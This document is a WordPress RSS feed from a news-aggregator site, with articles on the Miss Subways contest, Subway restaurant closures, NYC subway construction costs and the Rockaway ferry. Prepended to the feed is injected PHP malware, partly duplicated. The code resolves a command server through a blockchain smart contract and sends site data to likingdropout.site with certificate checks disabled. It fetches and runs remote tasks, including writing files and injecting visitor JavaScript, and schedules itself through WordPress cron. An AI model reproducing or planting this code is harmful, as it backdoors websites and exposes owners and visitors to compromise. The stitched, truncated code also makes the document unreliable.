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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); subways – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 22 Dec 2018 13:53:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png subways – Brief News https://briefnews.eu 32 32 Before There Was Miss Universe … There Was Miss Subways https://briefnews.eu/before-there-was-miss-universe-there-was-miss-subways/ https://briefnews.eu/before-there-was-miss-universe-there-was-miss-subways/#respond Sat, 22 Dec 2018 13:53:03 +0000 http://briefnews.eu/before-there-was-miss-universe-there-was-miss-subways/ Descend the stairs of the Union Square–14th Street subway station, and you’ll trade the aroma of hot nuts sold by street vendors for a blast of warm air. As you swipe your MetroCard through the turnstile and make your way to the platform, you’ll be accompanied by the sound of a subway performer’s guitar and the clink of change dropping into the open guitar case resting on the floor as fellow New Yorkers hustle to make the next train.

Then, as you shuffle into the crowded car, your gaze might roam upward (granted, you’ve got limited options for places to look when you’re packed in like a sardine). A quick scan of the Metropolitan Transit Authority (MTA) advertisements will introduce you to Casper’s newest mattress or request your participation in an outpatient experiment. But from the 1940s through the ’70s, you would have been greeted with ads of smiling women: Miss Subways, the winners of a citywide monthly beauty competition.

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The Miss Subways contest was launched in 1941, by the forerunners of the Metropolitan Transit Authority. The contest was conceived to draw riders’ eyes up to paid ads for cigarettes or chewing gum by displaying pretty faces beside them, says Amy Zimmer, a journalist and author of Meet Miss Subways: New York’s Beauty Queens 1941–1976. It was not a typical pageant: Each month, women across New York City mailed in headshots and the John Robert Powers modeling agency selected at least one winner. Subway ads featured winners’ photos along with a caption detailing their interests and career aspirations (and often their marital status). In 1963, the selection process became more democratic, as New Yorkers could mail in votes, selecting from among the headshots of six contenders.

Some Miss Subways studied physics; others dreamed of becoming performers. One 1941 winner, Mona Freeman, later appeared in more than 20 films, while in 1976, the contest’s final winner, Heide Hafner, was an amateur pilot who used the platform to draw attention to women in aviation. Still, the ad copy was written by men and often framed the women in ways they wouldn’t describe themselves. One example? The copy for Enid Berkowitz Schwarzbaum, who won Miss Subways in 1946 while studying for an art degree at Hunter College, claimed she was willing to “settle for an M.R.S.,” meaning she would happily get married after school and perhaps not work.

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Could this unusual contest have succeeded anywhere but New York? Zimmer doubts it, noting how Miss Subways was so “uniquely New York” because of the city’s diversity and collective consciousness about the value of work. There’s always been the idea of the “working girl” in New York and the belief that, as the song goes, “if you can make it here, you can make it anywhere,” Zimmer says. Whereas a Florida beauty contest might have reflected the local economy with an agriculture-centered event like a “strawberry girl” festival, the diverse ambitions of the winners of Miss Subways mirrored New York as the center of everything from commerce to fashion to finance. The contest was so deeply embedded in the culture of the city that the 1944 Broadway musical On the Town even had a character, “Miss Turnstiles,” based on Miss Subways.

And in the melting pot that is New York, the expansive subway system is where people from all walks of life collide. “It’s where people mix a lot and have always mixed a lot,” Zimmer says. Likewise, Miss Subways didn’t fit into traditional boxes along race and class divides. The contestants were working-class women — Irish, Italian, Jewish, Catholic, Latina, Black, Asian — with things to do and places to be. The pageant broke the color line long before national ones did. After a campaign launched by Black city newspapers, Thelma Porter became the first Black Miss Subways, in 1948 — decades before Vanessa Williams was crowned the first Black Miss America, in 1983. Helen Lee became the first Asian-American Miss Subways, in 1949. Beauty pageants generally aren’t known for embracing progressive values — only this year did the world meet the first openly transgender Miss Universe contestant, Angela Ponce.

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The contest chronicled the changing tides of urban feminism of the 20th century and now the 21st century, says Kathy Peiss, a historian at the University of Pennsylvania who contributed an essay to Zimmer’s book, in an Atlas Obscura article. Like a time capsule, Miss Subways posters reflect the social pulse and attitudes of respective decades. During World War II, the copy often described women working in factories or producing supplies for the war effort, Zimmer says. In the postwar period of the 1950s, the copy reflected a shift back toward homemaking roles and traditional expectations.

As New York City experienced a fiscal crisis in the 1970s, the subways fell into disrepair and posters were often defaced. As the women’s liberation movement gained steam, changing attitudes toward beauty standards increased women’s reluctance to participate, Zimmer notes. The contest ended in 1976, but it was resurrected for one year in 2004, to honor the subway’s centennial. Renamed Ms. Subways, this campaign was structured differently than the original contest. In 2017, it was revived yet again, this time unaffiliated with the MTA and more of a subway-themed variety show with celebrity judges.

It’s easy to look back through a modern lens and view the contest as progressive because of its relative inclusivity and acknowledgment of career goals. But although the posters’ text did reflect changing attitudes toward women in the workplace, Miss Subways wasn’t trying to push the envelope and wasn’t viewed as trailblazing at the time, Zimmer says. And its inclusivity had limitations: In 1952, a group of Black subway employees who felt that Black women were still underrepresented held their own contest.

Still, there’s something enduring about the fact that these women were made visible in the vehicle that provided them mobility and freedom. Like a precursor to today’s popular “Humans of New York” series, Miss Subways posters offered snapshots of ordinary and extraordinary dreams.

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]]> https://briefnews.eu/before-there-was-miss-universe-there-was-miss-subways/feed/ 0 Subway’s CEO is stepping down as the chain closes hundreds of stores amid franchisee backlash https://briefnews.eu/subways-ceo-is-stepping-down-as-the-chain-closes-hundreds-of-stores-amid-franchisee-backlash/ https://briefnews.eu/subways-ceo-is-stepping-down-as-the-chain-closes-hundreds-of-stores-amid-franchisee-backlash/#respond Wed, 02 May 2018 22:10:04 +0000 http://briefnews.eu/subways-ceo-is-stepping-down-as-the-chain-closes-hundreds-of-stores-amid-franchisee-backlash/ Suzanne Greco, SUBWAY president, left, receives the Guinness World Record title for most people making sandwiches simultaneouslyPhoto by Bizuayehu Tesfaye/Invision for SUBWAY Restaurants/AP Images

  • Subway’s CEO, Suzanne Greco, is retiring after 45 years at the company. 
  • Subway has struggled in recent years, losing more than 900 locations in the US last year and recently announcing plans to close roughly 500 more in 2018. 
  • Many franchisees had previously criticized Greco to Business Insider, saying she was “not qualified” to be CEO. 
  • One franchisee told Business Insider on Wednesday that there is a prevailing feeling of “guarded optimism” about Greco’s retirement. 

 

Subway’s CEO is leaving the struggling sandwich chain. 

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]]> https://briefnews.eu/subways-ceo-is-stepping-down-as-the-chain-closes-hundreds-of-stores-amid-franchisee-backlash/feed/ 0 A New York Times report found that some workers hired to build NYC subways were paid $111 per hour https://briefnews.eu/a-new-york-times-report-found-that-some-workers-hired-to-build-nyc-subways-were-paid-111-per-hour/ https://briefnews.eu/a-new-york-times-report-found-that-some-workers-hired-to-build-nyc-subways-were-paid-111-per-hour/#respond Tue, 02 Jan 2018 22:01:49 +0000 http://briefnews.eu/a-new-york-times-report-found-that-some-workers-hired-to-build-nyc-subways-were-paid-111-per-hour/ second avenue subway NYCFlickr/MTA

  • A New York Times report found that NYC transit projects cost far more than in comparable cities throughout the world.
  • The costs result from generous compensation for workers and high costs from contractors.
  • The report found that unions and contractors donated millions to political campaigns, including those involving New York Gov. Andrew Cuomo.

 

The New York City subway system has come under fire for being unreliable as maintenance funding is cut or diverted for other uses.

But a recent report from the New York Times revealed that, despite the decreasing levels of maintenance funding, subway construction projects in New York are often significantly more expensive than in other major cities throughout the world.

A project connecting the Long Island Railroad to Grand Central Terminal, for example, cost $ 3.5 billion for every new mile of track, which was seven times more than the worldwide average. The report found that projects were routinely overstaffed and overpriced as labor unions and contractors profited at the city’s expense.

The Times found that one union ensured most of its workers were paid $ 111 per hour in salary and benefits. And in some cases, construction projects in New York were staffed by up to four times more workers than for similar projects in Asia, Australia, and Europe.

According to the report, New York’s Metropolitan Transportation Authority said that the city has unique conditions that require inflated costs, but the Times found that those claims may have been exaggerated after interviewing over 50 contractors and analyzing MTA projects and pricing data.

According to the Times, labor unions and contractors were able to negotiate labor prices without input from any New York City agencies and frequently gave campaign donations to political campaigns — including those involving New York Gov. Andrew Cuomo — and hired MTA employees. And since contractors who could perform underground construction projects didn’t have much competition, they could reportedly add almost 50% to their projected costs when bidding for projects, compared to an average of 10% in other countries, according to the Times.

All of this means that New York City’s subway system may need more fixing than we previously thought.

The MTA didn’t immediately respond to a request for comment.

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]]> https://briefnews.eu/a-new-york-times-report-found-that-some-workers-hired-to-build-nyc-subways-were-paid-111-per-hour/feed/ 0 Subway’s ‘mystery meat’ and ‘mushy and rotten vegetables’ destroyed the ‘Eat Fresh’ advantage it spent years building https://briefnews.eu/subways-mystery-meat-and-mushy-and-rotten-vegetables-destroyed-the-eat-fresh-advantage-it-spent-years-building/ https://briefnews.eu/subways-mystery-meat-and-mushy-and-rotten-vegetables-destroyed-the-eat-fresh-advantage-it-spent-years-building/#respond Tue, 02 Jan 2018 07:06:45 +0000 http://briefnews.eu/subways-mystery-meat-and-mushy-and-rotten-vegetables-destroyed-the-eat-fresh-advantage-it-spent-years-building/ Subway restaurantJoe Raedle/Getty Images

  • Subway is facing declining sales and hundreds of store closures. 
  • The chain — which long promoted an “eat fresh” philosophy — has failed to keep up with American consumers’ demands for local ingredients.
  • Franchisees and workers said that locations can only get one or two shipments of produce a week, sometimes resulting in “mushy and rotting” vegetables. 

 

Subway has fallen behind on food industry trends — and it could be killing the chain. 

The sandwich chain’s US store count dropped by more than 900 in 2017, almost three times as many locations as closed the year before. National sales declined across the US in 2017, people with knowledge of the situation told Business Insider. 

Multiple franchisees told Business Insider that they expect the number of closures to grow in 2018, with one franchisee saying that the company’s store count could drop by the thousands. Another said that up to one-third of Subway locations in the US aren’t profitable. 

The chain is rolling out a new store design and remodeling locations across the US — a game plan some franchisees say has so far failed to produce results.

“I can tell you that a large majority of the stores around here are for sale, even one of ours,” one Subway manager said. “But no one is buying because of the high cost of the remodel coming up. Even the owners know that Subway is dying.”

After Business Insider published an article about Subway’s closures last week, we received dozens of emails from customers, franchisees, and workers expressing concern and disappointment over Subway’s food quality and freshness. 

Here’s what insiders say Subway needs to fix on its menu if it wants to survive. 

What it means to ‘eat fresh’ 

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Most Subway locations only receive one or two shipments of produce a week, according to more than 10 Subway franchisees and workers who spoke with Business Insider. 

“By the end of the week … the lettuce is just a massive problem,” one franchisee said. After just a few days, it begins to taste like “shredded paper,” she said.

Previously, the franchisee — who owns two locations and has been a franchisee for decades — ordered local produce to stock restaurants. The company, she said, forced her to stop doing so. 

“I have voiced my concerns for years regarding the need for daily produce deliveries into our stores … I want to pay more for a better tasting lettuce and I have been shut down,” she said. “Today’s consumer is extremely sensitive to preservatives and desire cleaner labels.”

Some franchisees who spoke with Business Insider said that weekly or bi-weekly deliveries were a non-issue, and that produce keeps for at least a week. Any problems are what people could expect from any national chain — a few shipments of less-than-stellar vegetables are just part of doing business, they said. 

The plague of ‘mushy and rotten’ vegetables

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But, other workers, customers, and franchisees disagreed. 

“About half of the vegetables we used were far from fresh. I’ve personally tasted the ingredients by themselves and they DO NOT taste how you’d normally expect them to,” Jessica Gunn, who recently quit a job working at a Subway location in Merced, California, said. 

Another employee, from Southeastern Pennsylvania, said, “A lot of the lettuce we receive is often near-expiry and is already turning brown even though the bags are vacuum sealed. The same goes for tomatoes. Often they are delivered and within a week are mushy and rotting.”

In a statement to Business Insider, Subway said that it works with more than 100 family farms and suppliers in the US to help make sure its restaurants have fresh produce. But, the company would not say whether or not produce shipments were only delivered once or twice a week. 

“Our stringent food quality standards ensure the freshest products from farm to sandwich. Franchisees decide when to schedule their orders to make sure they always have fresh produce in [the] restaurant,” Dennis Clabby, executive vice president of Subway’s independent purchasing cooperative, said in a statement to Business Insider.

Franchisees and workers who oppose Subway’s policy, however, say that there is little freedom in scheduling.

And, when it comes to using local suppliers, they say they have few options with the potential threat of having their franchise taken away hanging over their heads. According to a manager from Illinois, a franchisee who used local suppliers instead of going through distributors lost his stores after his practices were discovered. 

“The bread and condiments are of cheaper quality, and they just don’t allow local farmers produce in the summer,” Scott Godwin, who owned three Subway locations in Virginia until the early 1990s, told Business Insider of the changes that have been made since he cut ties with the chain. 

Godwin continued: “Quality goes down in favor of profits. It’s called selfishness.”

Changing trends turned Subway’s advantage into a problem

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The rise of super-fresh, super-local restaurants and chains has complicated Subway’s produce problems. For example, Sweetgreen, a growing salad chain, has locally and regionally sourced fruits and vegetables delivered to locations every day.

“Today, people are ever more educated on nutrition, food sourcing, and ethical holistic business models,” Sara Bamossy, the chief strategy officer at ad agency Pitch, told Business Insider. “To create (or to rekindle) loyalty and sales, it is not enough to label something as ‘natural’ and it’s not enough to be affordably priced.” 

Subway essentially paved the way for a wave of “fresh” chains to succeed. Now, thanks in part to Subway’s influence, customers expect more from restaurants, turning the chain’s advantage into a huge burden. 

“Subway needs to get back in touch with their roots — freshly baked bread and fresh ingredients assembled with care,” said Travis York, the CEO of the creative agency GYK Antler. “These offerings are not only genuine but also different from the competition.”

He added: “They can’t just toss a bunch of stuff on random bread products and expect it to impress an increasingly discerning public.”

Viral scandals damaged the brand

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Subway has had some major PR problems that have highlighted its failure to meet customers’ increasingly strict demands for fresh food.  

The first was in 2014, when a food blogger started a petition for Subway to remove azodicarbonamide from its bread. Azodicarbonamide was targeted as an ingredient used in yoga mats.

While Subway quickly pledged to remove the ingredient — which has not been found to be unsafe — the incident remained fresh in people’s minds, as evidenced by the more than half a dozen emails Business Insider received in the last week about the issue. 

“We were one of the first restaurant chains to completely remove azodicarbonamide from our bread more than three years ago,” a Subway representative said in a statement to Business Insider. 

A similar scandal occurred earlier this year, when a CBC Marketplace investigation found that the chicken in Subway’s chicken sandwiches were roughly half meat, half soy. Subway vehemently denied the claim. 

“The allegation that our chicken is only 50% chicken is 100% wrong,” CEO Suzanne Greco said in a statement. 

However, many customers remained skeptical. Again, half a dozen customers reached out to Business Insider to say that the study contributed to them ditching the chain. 

In neither instance was there any evidence that Subway was selling food that was dangerous for customers to eat, or even necessarily unhealthy. However, in both cases, the scandals added to the perception that Subway wasn’t serving “real” or “fresh” food — driving customers away. 

A Subway representative said these are “old issues, and there is no evidence that any one of these have had a long-term impact on sales.”  

Menu problems are just the tip of the iceberg

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Subway insiders said that issues with the menu is just the beginning of problems at the chain.

Many say the chain expanded too aggressively, causing chains to cannibalize each other’s business. Some franchisees say the chain’s deep discounts, including but certainly not limited to an upcoming $ 4.99 footlong deal, are making it nearly impossible to be profitable. Spokesperson Jared Fogle is serving a nearly 16-year sentence on counts related to child porn and sex with minors.

But, for customers, the menu is typically the biggest factor — and it’s creating the biggest problems.

Business Insider received more than 100 emails from customers over the last week, detailing exactly what was wrong with Subway. And, the issue that customers kept coming back to was simply the quality of the sandwich.

“The freshness is just not there anymore,” Daniel Stielper of Essex, Maryland, said in an email. “The ‘veggies’ look soft and wilted and the meats and cheeses look old and waxy. As an Army veteran, I have seen better food in the mess halls and out in the field.”

Stielper continued: “Subway has hit its peak and is now going the way of Blockbuster. It had its time and that time is gone.”

“America will pay for quality,” said Gerry Nason, another customer who ditched Subway and lives in Saratoga Springs, New York. “But Subway never gave us the chance to buy a great sandwich.” 

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]]> https://briefnews.eu/subways-mystery-meat-and-mushy-and-rotten-vegetables-destroyed-the-eat-fresh-advantage-it-spent-years-building/feed/ 0 New York City’s new ferry is a stylish, ineffective way to relieve crowded subways https://briefnews.eu/new-york-citys-new-ferry-is-a-stylish-ineffective-way-to-relieve-crowded-subways/ https://briefnews.eu/new-york-citys-new-ferry-is-a-stylish-ineffective-way-to-relieve-crowded-subways/#respond Sat, 13 May 2017 22:49:22 +0000 http://briefnews.eu/new-york-citys-new-ferry-is-a-stylish-ineffective-way-to-relieve-crowded-subways/ slate ferryHenry Grabar/Slate

To understand the appeal of New York City’s Rockaway Ferry, try getting to its landing, which floats behind a giant water-treatment plant on a desolate stretch of Beach Channel Drive in the Rockaways, Queens’ beach-fronted peninsula of bungalows and housing projects.

Riding an outbound subway train toward the beach on Monday morning, I passed crowded 7 a.m. platforms and spent 15 minutes waiting on a transfer. The best advertisement for the ferry, the city’s latest transit option, might be its sputtering subway system.

The trip to Wall Street on New York City’s publicly subsidized ferry service—which launched on Monday morning—is a world away. There were seats to spare in the airy main cabin where passengers celebrated the debut with free coffee and donuts. For $ 2.75, we skimmed across a glassy Atlantic Ocean, around Coney Island, through the Narrows, and into the East River in a little under an hour.

This, Mayor Bill de Blasio has promised, is the beginning of a new era in New York City—a return to the water that will relieve congestion on the city’s roadways and railways. In fact, each ferry fits fewer people than a single subway car. The idea advanced by James Patchett, president of the New York City Economic Development Corporation, that these ferries could function as a substitute for the subway is ludicrous. The first half-dozen ferries carried 700 people from Rockaway and Sunset Park to Lower Manhattan, not even one subway train worth of people.

The truth is that the construction of the subways drove New York’s ferries out of business a century ago. That they have returned is a sign of a city that sees transportation as a tool to advance interests in politics and real estate—not to help people get around. There simply aren’t that many people who live and work on the waterfront, and therefore, no way that boats can meaningfully impact congestion.

And yet, it must be said: What a lovely ride it was. With his ferry network, wannabe populist De Blasio has given the handful of New Yorkers who do live and work on the waterfront a real luxury amenity. Yes, the public subsidy is enormous. Yes, the ridership is limited. Yes, there were some hiccups on opening day. But for the handful of people who can structure their lives around these routes, the commute will be a real delight.

Subway train crowdedPacific Coast Highway/Wikimedia CommonsIt was easy to see the appeal for the dozens of Rockaway residents who were heading to 9 a.m. jobs in Lower Manhattan. Like everyone else in this city, they always feel like they’ve gotten the short end of the stick. De Blasio used to get booed out here regularly, in part because he shut down the ferry service set up after Superstorm Sandy. Some riders remember the date of the last ride: Oct. 31, 2014. The fare was $ 2; the city paid another $ 30 per rider in subsidy.

“I took it every day, and I’ve missed it ever since,” said Alison Vultaggio, a resident going to work in the Financial District. “It’s not much quicker, but it’s so nice to be above ground.” (The cable channel New York 1 had a race, and the ferry beat the train by a few minutes. But the race was between ferry stops, not subway stops.)

The 8:30 boat on Monday morning was a bit of a special occasion. Gemma Mozeak, of Jamaica, had driven out to Rockaway with her son Alex, who works at a law firm downtown. For her, it was a proud moment for Queens and the Rockaways, and a reminder that New York was an ocean city.

Lamar Gilmore Jr. and Jay Black had driven in from Laurelton and St. Albans, respectively, to ride downtown. “We came for two reasons,” said Gilmore, “One: We’re New Yorkers and we want to be part of the change. Two: We wanted to see about taking our bikes, see about riding over there. This is a dry run.”

Other commuters drew a contrast with the subway. The ferry, they said, was civilized; the subway was full of “wild animals.” You’d get your face slashed on that thing, they warned. You’d need a Glock and a Taser to ride through East New York.

slate ferryHenry Grabar/SlateThey were wrong about the subway, but boy were they right about the ferry. Even without the free coffee, I was awed to think this ferry was about to provide the regular commute for a handful of New Yorkers: 12,500, according to EDC’s estimates, on six routes. Four will open this year; two in 2018. It will cost an astounding $ 325 million to build and operate, though riders will pay the same fare as their counterparts on the subway. (Those who need to combine the ferry trip with a subway or bus will pay two fares.)

I arrived in Manhattan with a feeling of thrill and loathing. On the one hand, how delightful to travel through New York Harbor in a seat by the window, with a laptop connected to Wi-Fi, and a hot coffee on the table in front of me.

On the other hand, how shocking to see so much public money and initiative expended for the benefit of so few. Why? It’s partly an economic development strategy to encourage waterfront construction. It’s partly for leisure travel, which includes both tourists and New Yorkers—it’s hard to beat the views from the East River Ferry on a summer afternoon. It’s partly because ferry infrastructure can be deployed quickly. (Says it right there on the box: “Ready in just one mayoral term!”) And it’s partly that, since New York State retains control of the city’s real transit infrastructure (buses, subways, and trains), the mayor funnels his transit ambitions into toys like ferries and streetcars.

Our boat, unlike the earlier trips Monday morning, did not get a welcome from Hizzoner on Wall Street. But I did run into Terry MacRae, the chairman and CEO of Hornblower, the company that runs the ferries. MacRae had been up since 3 a.m., surveying the scene as commuters walked up the gangway.

This isn’t exactly business as usual for MacRae, whose company has traditionally operated cruises, waterborne special events, and tour boats—including those that run to Alcatraz, the Statue of Liberty, and under Niagara Falls. “We’re more oriented toward hospitality,” said MacRae. “We’re happy to do transportation also, when it can be done in style.”

Stylish, for sure. Transportation? Only for a lucky few.

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Toronto’s subway stations and trains had the highest levels of air pollution of Canada’s three major rapid transit systems, following by Montreal’s Metro and Vancouver’s Skytrain systems, a newly released study has found.

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